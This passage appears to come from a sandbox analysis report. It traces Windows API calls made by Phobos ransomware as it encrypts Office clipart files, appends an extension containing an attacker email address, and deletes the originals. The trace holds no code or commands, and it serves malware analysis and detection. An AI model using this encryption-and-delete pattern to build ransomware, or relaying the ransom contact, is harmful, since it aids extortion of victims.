dwBufLen=0x900 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x900) returned 1 [0062.960] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x900, lpOverlapped=0x0) returned 1 [0062.961] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc610) returned 1 [0062.961] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0062.961] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0062.961] CryptDestroyKey (hKey=0x10dc610) returned 1 [0062.961] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0062.961] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0062.961] CloseHandle (hObject=0x31c) returned 1 [0062.961] CloseHandle (hObject=0x2fc) returned 1 [0062.961] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 1 [0062.962] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0062.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0062.963] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2080) returned 1 [0062.963] CloseHandle (hObject=0x2fc) returned 1 [0062.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x220 [0062.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0062.963] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0062.963] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0062.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0062.963] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc890) returned 1 [0062.963] CryptSetKeyParam (hKey=0x10dc890, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0062.963] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x820, lpOverlapped=0x0) returned 1 [0063.249] CryptEncrypt (in: hKey=0x10dc890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x830, dwBufLen=0x830 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x830) returned 1 [0063.249] WriteFile (in: hFile=0x31c, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x830, lpOverlapped=0x0) returned 1 [0064.817] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcb10) returned 1 [0064.817] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0064.817] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0064.817] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0064.817] WriteFile (in: hFile=0x31c, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0064.817] CryptDestroyKey (hKey=0x10dc890) returned 1 [0064.817] CloseHandle (hObject=0x2fc) returned 1 [0064.817] CloseHandle (hObject=0x31c) returned 1 [0064.844] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 1 [0064.845] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0064.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0065.079] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2004) returned 1 [0065.079] CloseHandle (hObject=0x334) returned 1 [0065.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x220 [0065.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0065.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0065.079] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0065.079] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0065.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0065.080] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc910) returned 1 [0065.080] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0065.080] ReadFile (in: hFile=0x334, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x7d4, lpOverlapped=0x0) returned 1 [0065.539] CryptEncrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x7e0, dwBufLen=0x7e0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x7e0) returned 1 [0065.539] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x7e0, lpOverlapped=0x0) returned 1 [0065.540] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc950) returned 1 [0065.540] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0065.540] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0065.540] CryptDestroyKey (hKey=0x10dc950) returned 1 [0065.540] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0065.540] CryptDestroyKey (hKey=0x10dc910) returned 1 [0065.541] CloseHandle (hObject=0x334) returned 1 [0065.541] CloseHandle (hObject=0x330) returned 1 [0065.541] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 1 [0065.542] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0065.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0065.542] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2052) returned 1 [0065.542] CloseHandle (hObject=0x330) returned 1 [0065.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x220 [0065.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0065.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0065.542] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0065.542] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0065.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0065.543] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc650) returned 1 [0065.543] CryptSetKeyParam (hKey=0x10dc650, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0065.543] ReadFile (hFile=0x330, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0) Thread: id = 49 os_tid = 0x42c Thread: id = 50 os_tid = 0xd30 Process: id = "2" image_name = "ph_exec.exe" filename = "c:\\users\\fd1hvy\\desktop\\ph_exec.exe" page_root = "0x68c59000" os_pid = "0xa28" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xe64" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 5 os_tid = 0xa78 [0031.901] GetStartupInfoW (in: lpStartupInfo=0x53f83c | out: lpStartupInfo=0x53f83c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0031.901] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0031.901] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0xca0000 [0031.905] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0031.905] GetProcAddress (hModule=0x75e90000, lpProcName="FlsAlloc") returned 0x75ea4ae0 [0031.905] GetProcAddress (hModule=0x75e90000, lpProcName="FlsGetValue") returned 0x75ea4b20 [0031.905] GetProcAddress (hModule=0x75e90000, lpProcName="FlsSetValue") returned 0x75ea4b40 [0031.905] GetProcAddress (hModule=0x75e90000, lpProcName="FlsFree") returned 0x75ea4b00 [0031.906] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x214) returned 0xca05a8 [0031.906] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0031.906] GetCurrentThreadId () returned 0xa78 [0031.906] GetStartupInfoW (in: lpStartupInfo=0x53f7d8 | out: lpStartupInfo=0x53f7d8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xcd71ca, hStdOutput=0xcd7503, hStdError=0xca05a8)) [0031.906] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x800) returned 0xca07c8 [0031.906] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0031.906] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0031.906] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0031.906] SetHandleCount (uNumber=0x20) returned 0x20 [0031.906] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe\"" [0031.906] GetEnvironmentStringsW () returned 0x585368* [0031.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1379, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1379 [0031.906] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x563) returned 0xca0fd0 [0031.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1379, lpMultiByteStr=0xca0fd0, cbMultiByte=1379, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1379 [0031.906] FreeEnvironmentStringsW (penv=0x585368) returned 1 [0031.906] GetLastError () returned 0x0 [0031.906] SetLastError (dwErrCode=0x0) [0031.906] GetLastError () returned 0x0 [0031.907] SetLastError (dwErrCode=0x0) [0031.907] GetLastError () returned 0x0 [0031.907] SetLastError (dwErrCode=0x0) [0031.907] GetACP () returned 0x4e4 [0031.907] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x220) returned 0xca1540 [0031.907] GetLastError () returned 0x0 [0031.907] SetLastError (dwErrCode=0x0) [0031.907] IsValidCodePage (CodePage=0x4e4) returned 1 [0031.907] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x53f7a0 | out: lpCPInfo=0x53f7a0) returned 1 [0031.907] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x53f26c | out: lpCPInfo=0x53f26c) returned 1 [0031.907] GetLastError () returned 0x0 [0031.907] SetLastError (dwErrCode=0x0) [0031.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x53f680, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0031.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x53f680, cbMultiByte=256, lpWideCharStr=0x53efe8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ᱌鳇ÍĀ") returned 256 [0031.907] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ᱌鳇ÍĀ", cchSrc=256, lpCharType=0x53f280 | out: lpCharType=0x53f280) returned 1 [0031.907] GetLastError () returned 0x0 [0031.907] SetLastError (dwErrCode=0x0) [0031.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x53f680, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0031.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x53f680, cbMultiByte=256, lpWideCharStr=0x53efb8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ髋ÍĀ") returned 256 [0031.907] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ髋ÍĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0031.907] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ髋ÍĀ", cchSrc=256, lpDestStr=0x53eda8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0031.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x53f580, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe